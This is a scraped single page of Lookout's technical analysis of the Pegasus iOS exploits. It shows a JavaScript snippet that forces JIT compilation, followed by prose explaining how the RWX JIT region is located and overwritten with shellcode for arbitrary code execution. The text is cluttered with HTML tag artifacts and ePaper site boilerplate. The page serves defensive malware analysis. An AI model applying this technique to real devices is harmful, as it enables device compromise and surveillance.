19.11.2016 Views

Technical Analysis of the Pegasus Exploits on iOS

eNQc3Ry

eNQc3Ry

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

var body = ''<br />

for (var k = 0; k < 0x600; k++) {<br />

body += 'try {} catch(e) {};';<br />

}<br />

var to_overwrite = new Functi<strong>on</strong>('a', body);<br />

for (var i = 0; i < 0x10000; i++) {<br />

to_overwrite();<br />

}<br />

The address <str<strong>on</strong>g>of</str<strong>on</strong>g> this JSFuncti<strong>on</strong> object can <str<strong>on</strong>g>the</str<strong>on</strong>g>n be leaked and <str<strong>on</strong>g>the</str<strong>on</strong>g> various members can be<br />

read to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> RWX mapping. The JITed try/catch blocks are <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />

overwritten with shellcode, and <str<strong>on</strong>g>the</str<strong>on</strong>g> to_overwrite() functi<strong>on</strong> can simply be called to achieve<br />

arbitrary code executi<strong>on</strong>.<br />

1-888-988-5795 | lookout.com<br />

Page 42<br />

© 2016 Lookout, Inc. All rights reserved. Lookout, <str<strong>on</strong>g>the</str<strong>on</strong>g> Shield Logo, and Everything is OK are registered trademarks <str<strong>on</strong>g>of</str<strong>on</strong>g> Lookout, Inc. All o<str<strong>on</strong>g>the</str<strong>on</strong>g>r brand and product names<br />

are trademarks or registered trademarks <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>ir respective holders. 20161103-Lookout-USv1

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!